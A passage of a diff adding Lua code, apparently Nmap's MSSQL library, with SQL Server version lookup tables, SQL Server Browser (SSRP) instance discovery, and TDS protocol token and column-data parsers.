+ {1800, "CTP3.2"},
+ {1900, "RC1"},
+ {2000, "RTM"},
+ {2070, "GDR1"},
+ {4003, "CU1"},
+ {4013, "CU2"},
+ {4023, "CU3"},
+ {4033, "CU4"},
+ {4043, "CU5"},
+ {4053, "CU6"},
+ {4063, "CU7"},
+ {4073, "CU8"},
+ {4102, "CU9"},
+ {4123, "CU10"},
+ {4138, "CU11"},
+ {4153, "CU12"},
+ {4178, "CU13"},
+ {4188, "CU14"},
+ {4198, "CU15"},
+ {4223, "CU16"},
+ {4249, "CU17"},
+ },
+
+ ["2022"] = {
+ {100, "CTP1.0"},
+ {101, "CTP1.1"},
+ {200, "CTP1.2"},
+ {300, "CTP1.3"},
+ {400, "CTP1.4"},
+ {500, "CTP1.5"},
+ {600, "CTP2.0"},
+ {700, "CTP2.1"},
+ {900, "RC0"},
+ },
+ }
+
+
+ if ( not self.brandedVersion ) then
+ self:_InferProductVersion()
+ end
+
+ local spLookupTable = SP_LOOKUP_TABLE[self.brandedVersion]
+ stdnse.debug1("brandedVersion: %s, #lookup: %d", self.brandedVersion, spLookupTable and #spLookupTable or 0)
+
+ return spLookupTable
+
+ end,
+
+
+ --- Processes version data to determine (if possible) the product version,
+ -- service pack level and patch status.
+ _ParseVersionInfo = function(self)
+
+ local spLookupTable = self:_GetSpLookupTable()
+
+ if spLookupTable then
+
+ local spLookupItr = 0
+ -- Loop through the service pack levels until we find one whose revision
+ -- number is the same as or lower than our revision number.
+ while spLookupItr < #spLookupTable do
+ spLookupItr = spLookupItr + 1
+
+ if (spLookupTable[ spLookupItr ][1] == self.build ) then
+ spLookupItr = spLookupItr
+ break
+ elseif (spLookupTable[ spLookupItr ][1] > self.build ) then
+ -- The target revision number is lower than the first release
+ if spLookupItr == 1 then
+ self.servicePackLevel = "Pre-RTM"
+ else
+ -- we went too far - it's the previous SP, but with patches applied
+ spLookupItr = spLookupItr - 1
+ end
+ break
+ end
+ end
+
+ -- Now that we've identified the proper service pack level:
+ if self.servicePackLevel ~= "Pre-RTM" then
+ self.servicePackLevel = spLookupTable[ spLookupItr ][2]
+
+ if ( spLookupTable[ spLookupItr ][1] == self.build ) then
+ self.patched = false
+ else
+ self.patched = true
+ end
+ end
+
+ -- Clean up some of our inferences. If the source of our revision number
+ -- was the SSRP (SQL Server Browser) response, we need to recognize its
+ -- limitations:
+ -- * Versions of SQL Server prior to 2005 are reported with the RTM build
+ -- number, regardless of the actual version (e.g. SQL Server 2000 is
+ -- always 8.00.194).
+ -- * Versions of SQL Server starting with 2005 (and going through at least
+ -- 2008) do better but are still only reported with the build number as
+ -- of the last service pack (e.g. SQL Server 2005 SP3 with patches is
+ -- still reported as 9.00.4035.00).
+ if ( self.source == "SSRP" ) then
+ self.patched = nil
+
+ if ( self.major <= 8 ) then
+ self.servicePackLevel = nil
+ end
+ end
+ end
+
+ return true
+ end,
+
+ ---
+ ToString = function(self)
+ local friendlyVersion = strbuf.new()
+ if self.productName then
+ friendlyVersion:concatbuf( self.productName )
+ if self.servicePackLevel then
+ friendlyVersion:concatbuf( " " )
+ friendlyVersion:concatbuf( self.servicePackLevel )
+ end
+ if self.patched then
+ friendlyVersion:concatbuf( "+" )
+ end
+ end
+
+ return friendlyVersion:dump()
+ end,
+
+ --- Uses the information in this SqlServerVersionInformation object to
+ -- populate the version information in an Nmap port table for a SQL Server
+ -- TCP listener.
+ --
+ -- @param self A SqlServerVersionInformation object
+ -- @param port An Nmap port table corresponding to the instance
+ PopulateNmapPortVersion = function(self, port)
+
+ port.service = "ms-sql-s"
+ port.version = port.version or {}
+ port.version.name = "ms-sql-s"
+ port.version.product = self.productName
+
+ local versionString = strbuf.new()
+ if self.source ~= "SSRP" then
+ versionString:concatbuf( self.versionNumber )
+ if self.servicePackLevel then
+ versionString:concatbuf( "; " )
+ versionString:concatbuf( self.servicePackLevel )
+ end
+ if self.patched then
+ versionString:concatbuf( "+" )
+ end
+ port.version.version = versionString:dump()
+ end
+
+ return port
+ end,
+}
+
+
+-- *************************************
+-- SSRP (SQL Server Resolution Protocol)
+-- *************************************
+SSRP =
+{
+ PORT = { number = 1434, protocol = "udp" },
+ DEBUG_ID = "MSSQL-SSRP",
+
+ MESSAGE_TYPE =
+ {
+ ClientBroadcast = 0x02,
+ ClientUnicast = 0x03,
+ ClientUnicastInstance = 0x04,
+ ClientUnicastDAC = 0x0F,
+ ServerResponse = 0x05,
+ },
+
+ --- Parses an SSRP string and returns a table containing one or more
+ -- SqlServerInstanceInfo objects created from the parsed string.
+ _ParseSsrpString = function( host, ssrpString )
+ -- It would seem easier to just capture (.-;;) repeatedly, since
+ -- each instance ends with ";;", but ";;" can also occur within the
+ -- data, signifying an empty field (e.g. "...bv;;@COMPNAME;;tcp;1433;;...").
+ -- So, instead, we'll split up the string ahead of time.
+ -- See the SSRP specification for more details.
+
+ local instanceStrings = {}
+ local firstInstanceEnd, instanceString
+ repeat
+ firstInstanceEnd = ssrpString:find( ";ServerName;(.-);InstanceName;(.-);IsClustered;(.-);" )
+ if firstInstanceEnd then
+ instanceString = ssrpString:sub( 1, firstInstanceEnd )
+ ssrpString = ssrpString:sub( firstInstanceEnd + 1 )
+ else
+ instanceString = ssrpString
+ end
+
+ table.insert( instanceStrings, instanceString )
+ until (not firstInstanceEnd)
+ stdnse.debug2("%s: SSRP Substrings:\n %s", SSRP.DEBUG_ID, table.concat(instanceStrings , "\n ") )
+
+ local instances = {}
+ for _, instanceString in ipairs( instanceStrings ) do
+ local instance = SqlServerInstanceInfo:new()
+ local version = SqlServerVersionInfo:new()
+ instance.version = version
+
+ instance.host = host
+ instance.serverName = instanceString:match( "ServerName;(.-);")
+ instance.instanceName = instanceString:match( "InstanceName;(.-);")
+ instance:SetIsClustered( instanceString:match( "IsClustered;(.-);") )
+ version:SetVersionNumber( instanceString:match( "Version;(.-);"), "SSRP" )
+
+ local tcpPort = tonumber( instanceString:match( ";tcp;(.-);") )
+ if tcpPort then instance.port = {number = tcpPort, protocol = "tcp"} end
+
+ local pipeName = instanceString:match( ";np;(.-);")
+ local status, pipeSubPath = namedpipes.get_pipe_subpath( pipeName )
+ if status then
+ pipeName = namedpipes.make_pipe_name( host.ip, pipeSubPath )
+ elseif pipeName ~= nil then
+ stdnse.debug1("%s: Invalid pipe name:\n%s", SSRP.DEBUG_ID, pipeName )
+ end
+ instance.pipeName = pipeName
+
+ table.insert( instances, instance )
+ end
+
+ return instances
+ end,
+
+ ---
+ _ProcessResponse = function( host, responseData )
+ local instances
+
+ local pos, messageType, dataLength = 1, nil, nil
+ messageType, dataLength, pos = string.unpack("<BI2", responseData, 1)
+ -- extract the response data (i.e. everything after the 3-byte header)
+ responseData = responseData:sub(4)
+ stdnse.debug2("%s: SSRP Data: %s", SSRP.DEBUG_ID, responseData )
+ if ( messageType ~= SSRP.MESSAGE_TYPE.ServerResponse or
+ dataLength ~= responseData:len() ) then
+
+ stdnse.debug2("%s: Invalid SSRP response. Type: 0x%02x, Length: %d, Actual length: %d",
+ SSRP.DEBUG_ID, messageType, dataLength, responseData:len() )
+ else
+ instances = SSRP._ParseSsrpString( host, responseData )
+ end
+
+ return instances
+ end,
+
+ --- Attempts to retrieve information about SQL Server instances by querying
+ -- the SQL Server Browser service on a host.
+ --
+ -- @param host A host table for the target host
+ -- @param port (Optional) A port table for the target SQL Server Browser service
+ -- @return (status, result) If status is true, result is a table of
+ -- SqlServerInstanceInfo objects. If status is false, result is an
+ -- error message.
+ DiscoverInstances = function( host, port )
+ port = port or SSRP.PORT
+
+ if ( SCANNED_PORTS_ONLY and nmap.get_port_state( host, port ) == nil ) then
+ stdnse.debug2("%s: Discovery disallowed: scanned-ports-only is set and port %d was not scanned", SSRP.DEBUG_ID, port.number )
+ return false, "Discovery disallowed: scanned-ports-only"
+ end
+
+ local socket = nmap.new_socket("udp")
+ socket:set_timeout(5000)
+
+ if ( port.number ~= SSRP.PORT.number ) then
+ stdnse.debug1("%s: DiscoverInstances() called with non-standard port (%d)", SSRP.DEBUG_ID, port.number )
+ end
+
+ local status, err = socket:connect( host, port )
+ if ( not(status) ) then return false, err end
+ status, err = socket:send( string.pack( "B", SSRP.MESSAGE_TYPE.ClientUnicast ) )
+ if ( not(status) ) then return false, err end
+
+ local responseData, instances_host
+ status, responseData = socket:receive()
+ if ( not(status) ) then return false, responseData
+ else
+ instances_host = SSRP._ProcessResponse( host, responseData )
+ end
+ socket:close()
+
+ return status, instances_host
+ end,
+
+
+ --- Attempts to retrieve information about SQL Server instances by querying
+ -- the SQL Server Browser service on a broadcast domain.
+ --
+ -- @param host A host table for the broadcast specification
+ -- @param port (Optional) A port table for the target SQL Server Browser service
+ -- @return (status, result) If status is true, result is a table of
+ -- tables containing SqlServerInstanceInfo objects. The top-level table
+ -- is indexed by IP address. If status is false, result is an
+ -- error message.
+ DiscoverInstances_Broadcast = function( host, port )
+ port = port or SSRP.PORT
+
+ local socket = nmap.new_socket("udp")
+ socket:set_timeout(5000)
+ local instances_all = {}
+
+ if ( port.number ~= SSRP.PORT.number ) then
+ stdnse.debug1("%S: DiscoverInstances_Broadcast() called with non-standard port (%d)", SSRP.DEBUG_ID, port.number )
+ end
+
+ local status, err = socket:sendto(host, port, string.pack( "B", SSRP.MESSAGE_TYPE.ClientBroadcast ))
+ if ( not(status) ) then return false, err end
+
+ while ( status ) do
+ local responseData
+ status, responseData = socket:receive()
+ if ( status ) then
+ local remoteIp, _
+ status, _, _, remoteIp, _ = socket:get_info()
+ local instances_host = SSRP._ProcessResponse( {ip = remoteIp, name = ""}, responseData )
+ instances_all[ remoteIp ] = instances_host
+ end
+ end
+ socket:close()
+
+ return true, instances_all
+ end,
+}
+
+
+
+-- *************************
+-- TDS (Tabular Data Stream)
+-- *************************
+
+-- TDS packet types
+PacketType =
+{
+ Query = 0x01,
+ Response = 0x04,
+ Login = 0x10,
+ NTAuthentication = 0x11,
+ PreLogin = 0x12,
+}
+
+-- TDS response token types
+TokenType =
+{
+ ReturnStatus = 0x79,
+ TDS7Results = 0x81,
+ ErrorMessage = 0xAA,
+ InformationMessage = 0xAB,
+ LoginAcknowledgement = 0xAD,
+ Row = 0xD1,
+ OrderBy = 0xA9,
+ EnvironmentChange = 0xE3,
+ NTLMSSP_CHALLENGE = 0xed,
+ Done = 0xFD,
+ DoneProc = 0xFE,
+ DoneInProc = 0xFF,
+}
+
+-- SQL Server/Sybase data types
+DataTypes =
+{
+ SQLTEXT = 0x23,
+ GUIDTYPE = 0x24,
+ SYBINTN = 0x26,
+ SYBINT2 = 0x34,
+ SYBINT4 = 0x38,
+ SYBDATETIME = 0x3D,
+ NTEXTTYPE = 0x63,
+ BITNTYPE = 0x68,
+ DECIMALNTYPE = 0x6A,
+ NUMERICNTYPE = 0x6C,
+ FLTNTYPE = 0x6D,
+ MONEYNTYPE = 0x6E,
+ SYBDATETIMN = 0x6F,
+ XSYBVARBINARY = 0xA5,
+ XSYBVARCHAR = 0xA7,
+ BIGBINARYTYPE = 0xAD,
+ BIGCHARTYPE = 0xAF,
+ XSYBNVARCHAR = 0xE7,
+ SQLNCHAR = 0xEF,
+}
+
+-- SQL Server login error codes
+-- See http://msdn.microsoft.com/en-us/library/ms131024.aspx
+LoginErrorType =
+{
+ AccountLockedOut = 15113,
+ NotAssociatedWithTrustedConnection = 18452, -- This probably means that the server is set for Windows authentication only
+ InvalidUsernameOrPassword = 18456,
+ PasswordChangeFailed_PasswordNotAllowed = 18463,
+ PasswordChangeFailed_PasswordTooShort = 18464,
+ PasswordChangeFailed_PasswordTooLong = 18465,
+ PasswordChangeFailed_PasswordNotComplex = 18466,
+ PasswordChangeFailed_PasswordFilter = 18467,
+ PasswordChangeFailed_UnexpectedError = 18468,
+ PasswordExpired = 18487,
+ PasswordMustChange = 18488,
+}
+
+LoginErrorMessage = {}
+for i, v in pairs(LoginErrorType) do
+ LoginErrorMessage[v] = i
+end
+
+-- "static" ColumnInfo parser class
+ColumnInfo =
+{
+
+ Parse =
+ {
+
+ [DataTypes.SQLTEXT] = function( data, pos )
+ local colinfo = {}
+ local tmp
+
+ colinfo.unknown, colinfo.codepage, colinfo.flags, colinfo.charset, pos = string.unpack("<I4I2I2B", data, pos )
+
+ colinfo.tablenamelen, pos = string.unpack("<i2", data, pos )
+ colinfo.tablename, pos = string.unpack("c" .. (colinfo.tablenamelen * 2), data, pos)
+ colinfo.msglen, pos = string.unpack("<B", data, pos )
+ tmp, pos = string.unpack("c" .. (colinfo.msglen * 2), data, pos)
+
+ colinfo.text = unicode.utf16to8(tmp)
+
+ return pos, colinfo
+ end,
+
+ [DataTypes.GUIDTYPE] = function( data, pos )
+ return ColumnInfo.Parse[DataTypes.SYBINTN](data, pos)
+ end,
+
+ [DataTypes.SYBINTN] = function( data, pos )
+ local colinfo = {}
+ local tmp
+
+ colinfo.unknown, colinfo.msglen, pos = string.unpack("<BB", data, pos)
+ tmp, pos = string.unpack("c" .. (colinfo.msglen * 2), data, pos )
+ colinfo.text = unicode.utf16to8(tmp)
+
+ return pos, colinfo
+ end,
+
+ [DataTypes.SYBINT2] = function( data, pos )
+ return ColumnInfo.Parse[DataTypes.SYBDATETIME](data, pos)
+ end,
+
+ [DataTypes.SYBINT4] = function( data, pos )
+ return ColumnInfo.Parse[DataTypes.SYBDATETIME](data, pos)
+ end,
+
+ [DataTypes.SYBDATETIME] = function( data, pos )
+ local colinfo = {}
+ local tmp
+
+ colinfo.msglen, pos = string.unpack("B", data, pos)
+ tmp, pos = string.unpack("c" .. (colinfo.msglen * 2), data, pos )
+ colinfo.text = unicode.utf16to8(tmp)
+
+ return pos, colinfo
+ end,
+
+ [DataTypes.NTEXTTYPE] = function( data, pos )
+ return ColumnInfo.Parse[DataTypes.SQLTEXT](data, pos)
+ end,
+
+ [DataTypes.BITNTYPE] = function( data, pos )
+ return ColumnInfo.Parse[DataTypes.SYBINTN](data, pos)
+ end,
+
+ [DataTypes.DECIMALNTYPE] = function( data, pos )
+ local colinfo = {}
+ local tmp
+
+ colinfo.unknown, colinfo.precision, colinfo.scale, pos = string.unpack("<BBB", data, pos)
+ colinfo.msglen, pos = string.unpack("<B",data,pos)
+ tmp, pos = string.unpack("c" .. (colinfo.msglen * 2), data, pos )
+ colinfo.text = unicode.utf16to8(tmp)
+
+ return pos, colinfo
+ end,
+
+ [DataTypes.NUMERICNTYPE] = function( data, pos )
+ return ColumnInfo.Parse[DataTypes.DECIMALNTYPE](data, pos)
+ end,
+
+ [DataTypes.FLTNTYPE] = function( data, pos )
+ return ColumnInfo.Parse[DataTypes.SYBINTN](data, pos)
+ end,
+
+ [DataTypes.MONEYNTYPE] = function( data, pos )
+ return ColumnInfo.Parse[DataTypes.SYBINTN](data, pos)
+ end,
+
+ [DataTypes.SYBDATETIMN] = function( data, pos )
+ return ColumnInfo.Parse[DataTypes.SYBINTN](data, pos)
+ end,
+
+ [DataTypes.XSYBVARBINARY] = function( data, pos )
+ local colinfo = {}
+ local tmp
+
+ colinfo.lts, colinfo.msglen, pos = string.unpack("<I2B", data, pos)
+ tmp, pos = string.unpack("c" .. (colinfo.msglen * 2), data, pos )
+ colinfo.text = unicode.utf16to8(tmp)
+
+ return pos, colinfo
+ end,
+
+ [DataTypes.XSYBVARCHAR] = function( data, pos )
+ return ColumnInfo.Parse[DataTypes.XSYBNVARCHAR](data, pos)
+ end,
+
+ [DataTypes.BIGBINARYTYPE] = function( data, pos )
+ return ColumnInfo.Parse[DataTypes.XSYBVARBINARY](data, pos)
+ end,
+
+ [DataTypes.BIGCHARTYPE] = function( data, pos )
+ return ColumnInfo.Parse[DataTypes.XSYBNVARCHAR](data, pos)
+ end,
+
+ [DataTypes.XSYBNVARCHAR] = function( data, pos )
+ local colinfo = {}
+ local tmp
+
+ colinfo.lts, colinfo.codepage, colinfo.flags, colinfo.charset,
+ colinfo.msglen, pos = string.unpack("<I2I2I2BB", data, pos )
+ tmp, pos = string.unpack("c" .. (colinfo.msglen * 2), data, pos)
+ colinfo.text = unicode.utf16to8(tmp)
+
+ return pos, colinfo
+ end,
+
+ [DataTypes.SQLNCHAR] = function( data, pos )
+ return ColumnInfo.Parse[DataTypes.XSYBNVARCHAR](data, pos)
+ end,
+
+ }
+
+}
+
+-- "static" ColumnData parser class
+ColumnData =
+{
+ Parse = {
+
+ [DataTypes.SQLTEXT] = function( data, pos )
+ local len, coldata
+
+ -- The first len value is the size of the meta data block
+ -- for non-null values this seems to be 0x10 / 16 bytes
+ len, pos = string.unpack( "<B", data, pos )
+
+ if ( len == 0 ) then
+ return pos, 'Null'
+ end
+
+ -- Skip over the text update time and date values, we don't need them
+ -- We may come back add parsing for this information.
+ pos = pos + len
+
+ -- skip a label, should be 'dummyTS'
+ pos = pos + 8
+
+ -- extract the actual data
+ coldata, pos = string.unpack( "<s4", data, pos )
+
+ return pos, coldata
+ end,
+
+ [DataTypes.GUIDTYPE] = function( data, pos )
+ local len, coldata, index, nextdata
+ local hex = {}
+ len, pos = string.unpack("B", data, pos)
+
+ if ( len == 0 ) then
+ return pos, 'Null'
+
+ elseif ( len == 16 ) then
+ -- Mixed-endian; first 3 parts are little-endian, next 2 are big-endian
+ local A, B, C, D, E, pos = string.unpack("<I4I2I2>c2c6", data, pos)
+ coldata = ("%08x-%04x-%04x-%s-%s"):format(A, B, C, stdnse.tohex(D), stdnse.tohex(E))
+ else
+ stdnse.debug1("Unhandled length (%d) for GUIDTYPE", len)
+ return pos + len, 'Unsupported Data'
+ end
+
+ return pos, coldata
+ end,
+
+ [DataTypes.SYBINTN] = function( data, pos )
+ local len, num
+ len, pos = string.unpack("B", data, pos)
+
+ if ( len == 0 ) then
+ return pos, 'Null'
+ elseif ( len <= 16 ) then
+ local v, pos = string.unpack("<i" .. len, data, pos)
+ return pos, v
+ else
+ return -1, ("Unhandled length (%d) for SYBINTN"):format(len)
+ end
+
+ return -1, "Error"
+ end,
+
+ [DataTypes.SYBINT2] = function( data, pos )
+ local num
+ num, pos = string.unpack("<I2", data, pos)
+
+ return pos, num
+ end,
+
+ [DataTypes.SYBINT4] = function( data, pos )
+ local num
+ num, pos = string.unpack("<I4", data, pos)
+
+ return pos, num
+ end,
+
+ [DataTypes.SYBDATETIME] = function( data, pos )
+ local hi, lo
+
+ hi, lo, pos = string.unpack("<i4I4", data, pos)
+
+ local result_seconds = (hi*24*60*60) + (lo/300)
+
+ local result = datetime.format_timestamp(tds_offset_seconds + result_seconds)
+ return pos, result
+ end,
+
+ [DataTypes.NTEXTTYPE] = function( data, pos )
+ local len, coldata
+
+ -- The first len value is the size of the meta data block
+ len, pos = string.unpack( "<B", data, pos )
+
+ if ( len == 0 ) then
+ return pos, 'Null'
+ end
+
+ -- Skip over the text update time and date values, we don't need them
+ -- We may come back add parsing for this information.
+ pos = pos + len
+
+ -- skip a label, should be 'dummyTS'
+ pos = pos + 8
+
+ -- extract the actual data
+ coldata, pos = string.unpack( "<s4", data, pos )
+
+ return pos, unicode.utf16to8(coldata)
+ end,
+
+ [DataTypes.BITNTYPE] = function( data, pos )
+ return ColumnData.Parse[DataTypes.SYBINTN](data, pos)
+ end,
+
+ [DataTypes.DECIMALNTYPE] = function( precision, scale, data, pos )
+ local len, sign, format_string, coldata
+
+ len, pos = string.unpack("<B", data, pos)
+
+ if ( len == 0 ) then
+ return pos, 'Null'
+ end
+
+ sign, pos = string.unpack("<B", data, pos)
+
+ -- subtract 1 from data len to account for sign byte
+ len = len - 1
+
+ if ( len > 0 and len <= 16 ) then
+ coldata, pos = string.unpack("<I" .. len, data, pos)
+ else
+ stdnse.debug1("Unhandled length (%d) for DECIMALNTYPE", len)
+ return pos + len, 'Unsupported Data'
+ end
+
+ if ( sign == 0 ) then
+ coldata = coldata * -1
+ end
+
+ coldata = coldata * (10^-scale)
+ -- format the return information to reduce truncation by lua
+ format_string = string.format("%%.%if", scale)
+ coldata = string.format(format_string,coldata)
+
+ return pos, coldata
+ end,
+
+ [DataTypes.NUMERICNTYPE] = function( precision, scale, data, pos )
+ return ColumnData.Parse[DataTypes.DECIMALNTYPE]( precision, scale, data, pos )
+ end,
+
+ [DataTypes.BITNTYPE] = function( data, pos )
+ return ColumnData.Parse[DataTypes.SYBINTN](data, pos)
+ end,
+
+ [DataTypes.NTEXTTYPE] = function( data, pos )
+ local len, coldata
+
+ -- The first len value is the size of the meta data block
+ len, pos = string.unpack( "<B", data, pos )
+
+ if ( len == 0 ) then
+ return pos, 'Null'
+ end
+
+ -- Skip over the text update time and date values, we don't need them
+ -- We may come back add parsing for this information.
+ pos = pos + len
+
+ -- skip a label, should be 'dummyTS'
+ pos = pos + 8
+
+ -- extract the actual data
+ coldata, pos = string.unpack( "<s4", data, pos )
+
+ return pos, unicode.utf16to8(coldata)
+ end,
+
+ [DataTypes.FLTNTYPE] = function( data, pos )
+ local len, coldata
+ len, pos = string.unpack("<B", data, pos)
+
+ if ( len == 0 ) then
+ return pos, 'Null'
+ elseif ( len == 4 ) then
+ coldata, pos = string.unpack("<f", data, pos)
+ elseif ( len == 8 ) then
+ coldata, pos = string.unpack("<d", data, pos)
+ end
+
+ return pos, coldata
+ end,
+
+ [DataTypes.MONEYNTYPE] = function( data, pos )
+ local len, value, coldata, hi, lo
+ len, pos = string.unpack("B", data, pos)
+
+ if ( len == 0 ) then
+ return pos, 'Null'
+ elseif ( len == 4 ) then
+ --type smallmoney
+ value, pos = string.unpack("<i4", data, pos)
+ elseif ( len == 8 ) then
+ -- type money
+ hi, lo, pos = string.unpack("<I4I4", data, pos)
+ value = ( hi * 0x100000000 ) + lo
+ else
+ return -1, ("Unhandled length (%d) for MONEYNTYPE"):format(len)
+ end
+
+ -- the datatype allows for 4 decimal places after the period to support various currency types.
+ -- forcing to string to avoid truncation
+ coldata = string.format("%.4f",value/10000)
+
+ return pos, coldata
+ end,
+
+ [DataTypes.SYBDATETIMN] = function( data, pos )
+ local len, coldata
+
+ len, pos = string.unpack( "<B", data, pos )
+
+ if ( len == 0 ) then
+ return pos, 'Null'
+ elseif ( len == 4 ) then
+ -- format is smalldatetime
+ local days, mins
+ days, mins, pos = string.unpack("<I2I2", data, pos)
+
+ local result_seconds = (days*24*60*60) + (mins*60)
+ coldata = datetime.format_timestamp(tds_offset_seconds + result_seconds)
+
+ return pos,coldata
+
+ elseif ( len == 8 ) then
+ -- format is datetime
+ return ColumnData.Parse[DataTypes.SYBDATETIME](data, pos)
+ else
+ return -1, ("Unhandled length (%d) for SYBDATETIMN"):format(len)
+ end
+
+ end,
+
+ [DataTypes.XSYBVARBINARY] = function( data, pos )
+ local len, coldata
+
+ len, pos = string.unpack( "<I2", data, pos )
+
+ if ( len == 65535 ) then
+ return pos, 'Null'
+ else
+ coldata, pos = string.unpack( "c"..len, data, pos )
+ return pos, "0x" .. stdnse.tohex(coldata)
+ end
+
+ return -1, "Error"
+ end,
+
+ [DataTypes.XSYBVARCHAR] = function( data, pos )
+ local len, coldata
+
+ len, pos = string.unpack( "<I2", data, pos )
+ if ( len == 65535 ) then
+ return pos, 'Null'
+ end
+
+ coldata, pos = string.unpack( "c"..len, data, pos )
+
+ return pos, coldata
+ end,
+
+ [DataTypes.BIGBINARYTYPE] = function( data, pos )
+ return ColumnData.Parse[DataTypes.XSYBVARBINARY](data, pos)
+ end,
+
+ [DataTypes.BIGCHARTYPE] = function( data, pos )
+ return ColumnData.Parse[DataTypes.XSYBVARCHAR](data, pos)
+ end,
+
+ [DataTypes.XSYBNVARCHAR] = function( data, pos )
+ local len, coldata
+
+ len, pos = string.unpack( "<I2", data, pos )
+ if ( len == 65535 ) then
+ return pos, 'Null'
+ end
+ coldata, pos = string.unpack( "c"..len, data, pos )
+
+ return pos, unicode.utf16to8(coldata)
+ end,
+
+ [DataTypes.SQLNCHAR] = function( data, pos )
+ return ColumnData.Parse[DataTypes.XSYBNVARCHAR](data, pos)
+ end,
+
+ }
+}
+
+-- "static" Token parser class
+Token =
+{
+
+ Parse = {
+ --- Parse error message tokens
+ --
+ -- @param data string containing "raw" data
+ -- @param pos number containing offset into data
+ -- @return pos number containing new offset after parse
+ -- @return token table containing token specific fields
+ [TokenType.ErrorMessage] = function( data, pos )
+ local token = {}
+ local tmp
+
+ token.type = TokenType.ErrorMessage
+ token.size, token.errno, token.state, token.severity, token.errlen, pos = string.unpack( "<I2I4BBI2", data, pos )
+ tmp, pos = string.unpack("c" .. (token.errlen * 2), data, pos )
+ token.error = unicode.utf16to8(tmp)
+ token.srvlen, pos = string.unpack("B", data, pos)
+ tmp, pos = string.unpack("c" .. (token.srvlen * 2), data, pos )
+ token.server = unicode.utf16to8(tmp)
+ token.proclen, pos = string.unpack("B", data, pos)
+ tmp, pos = string.unpack("c" .. (token.proclen * 2), data, pos )
+ token.proc = unicode.utf16to8(tmp)
+ token.lineno, pos = string.unpack("<I2", data, pos)
+
+ return pos, token
+ end,
+
+ --- Parse environment change tokens
+ -- (This function is not implemented and simply moves the pos offset)
+ --
+ -- @param data string containing "raw" data
+ -- @param pos number containing offset into data
+ -- @return pos number containing new offset after parse
+ -- @return token table containing token specific fields
+ [TokenType.EnvironmentChange] = function( data, pos )
+ local token = {}
+ local tmp
+
+ token.type = TokenType.EnvironmentChange
+ token.size, pos = string.unpack("<I2", data, pos)
+
+ return pos + token.size, token
+ end,
+
+ --- Parse information message tokens
+ --
+ -- @param data string containing "raw" data
+ -- @param pos number containing offset into data
+ -- @return pos number containing new offset after parse
+ -- @return token table containing token specific fields
+ [TokenType.InformationMessage] = function( data, pos )
+ local pos, token = Token.Parse[TokenType.ErrorMessage]( data, pos )
+ token.type = TokenType.InformationMessage
+ return pos, token
+ end,
+
+ --- Parse login acknowledgment tokens
+ --
+ -- @param data string containing "raw" data
+ -- @param pos number containing offset into data
+ -- @return pos number containing new offset after parse
+ -- @return token table containing token specific fields
+ [TokenType.LoginAcknowledgement] = function( data, pos )
+ local token = {}
+ local _
+
+ token.type = TokenType.LoginAcknowledgement
+ token.size, _, _, _, _, token.textlen, pos = string.unpack( "<I2BBBI2B", data, pos )
+ token.text, pos = string.unpack("c" .. token.textlen * 2, data, pos)
+ token.version, pos = string.unpack("<I4", data, pos )
+
+ return pos, token
+ end,
+
+ --- Parse done tokens
+ --
+ -- @param data string containing "raw" data
+ -- @param pos number containing offset into data
+ -- @return pos number containing new offset after parse
+ -- @return token table containing token specific fields
+ [TokenType.Done] = function( data, pos )
+ local token = {}
+
+ token.type = TokenType.Done
+ token.flags, token.operation, token.rowcount, pos = string.unpack( "<I2I2I4", data, pos )
+
+ return pos, token
+ end,
+
+ --- Parses a DoneProc token received after executing a SP
+ --
+ -- @param data string containing "raw" data
+ -- @param pos number containing offset into data
+ -- @return pos number containing new offset after parse
+ -- @return token table containing token specific fields
+ [TokenType.DoneProc] = function( data, pos )
+ local token
+ pos, token = Token.Parse[TokenType.Done]( data, pos )
+ token.type = TokenType.DoneProc
+
+ return pos, token
+ end,
+
+
+ --- Parses a DoneInProc token received after executing a SP
+ --
+ -- @param data string containing "raw" data
+ -- @param pos number containing offset into data
+ -- @return pos number containing new offset after parse
+ -- @return token table containing token specific fields
+ [TokenType.DoneInProc] = function( data, pos )
+ local token
+ pos, token = Token.Parse[TokenType.Done]( data, pos )
+ token.type = TokenType.DoneInProc
+
+ return pos, token
+ end,
+
+ --- Parses a ReturnStatus token
+ --
+ -- @param data string containing "raw" data
+ -- @param pos number containing offset into data
+ -- @return pos number containing new offset after parse
+ -- @return token table containing token specific fields
+ [TokenType.ReturnStatus] = function( data, pos )
+ local token = {}
+
+ token.value, pos = string.unpack("<i4", data, pos)
+ token.type = TokenType.ReturnStatus
+ return pos, token
+ end,
+
+ --- Parses a OrderBy token
+ --
+ -- @param data string containing "raw" data
+ -- @param pos number containing offset into data
+ -- @return pos number containing new offset after parse
+ -- @return token table containing token specific fields
+ [TokenType.OrderBy] = function( data, pos )
+ local token = {}
+
+ token.size, pos = string.unpack("<I2", data, pos)
+ token.type = TokenType.OrderBy
+ return pos + token.size, token
+ end,
+
+
+ --- Parse TDS result tokens
+ --
+ -- @param data string containing "raw" data
+ -- @param pos number containing offset into data
+ -- @return pos number containing new offset after parse
+ -- @return token table containing token specific fields
+ [TokenType.TDS7Results] = function( data, pos )
+ local token = {}
+ local _
+
+ token.type = TokenType.TDS7Results
+ token.count, pos = string.unpack( "<I2", data, pos )
+ token.colinfo = {}
+
+ for i=1, token.count do
+ local colinfo = {}
+ local usertype, flags, ttype
+
+ usertype, flags, ttype, pos = string.unpack("<I2I2B", data, pos )
+ if ( not(ColumnInfo.Parse[ttype]) ) then
+ return -1, ("Unhandled data type: 0x%X"):format(ttype)
+ end
+
+ pos, colinfo = ColumnInfo.Parse[ttype]( data, pos )
+ colinfo.usertype = usertype
+ colinfo.flags = flags
+ colinfo.type = ttype
+
+ table.insert( token.colinfo, colinfo )
+ end
+ return pos, token
+ end,
+
+
+ [TokenType.NTLMSSP_CHALLENGE] = function(data, pos)
+ local len, ntlmssp, msgtype, pos = string.unpack("<I2c8I4", data, pos)
+ local NTLMSSP_CHALLENGE = 2
+
+ if ( ntlmssp ~= "NTLMSSP\0" or msgtype ~= NTLMSSP_CHALLENGE ) then
+ return -1, "Failed to process NTLMSSP Challenge"
+ end
+
+ local ntlm_challenge = {nonce=data:sub( 28, 35 ), type=TokenType.NTLMSSP_CHALLENGE}
+ pos = pos + len - 13
+ return pos, ntlm_challenge
+ end,
+ },
+
+ --- Parses the first token at positions pos
+ --
+ -- @param data string containing "raw" data
+ -- @param pos number containing offset into data
+ -- @return pos number containing new offset after parse or -1 on error
+ -- @return token table containing token specific fields or error message on error
+ ParseToken = function( data, pos )
+ local ttype
+ ttype, pos = string.unpack("B", data, pos)
+ if ( not(Token.Parse[ttype]) ) then
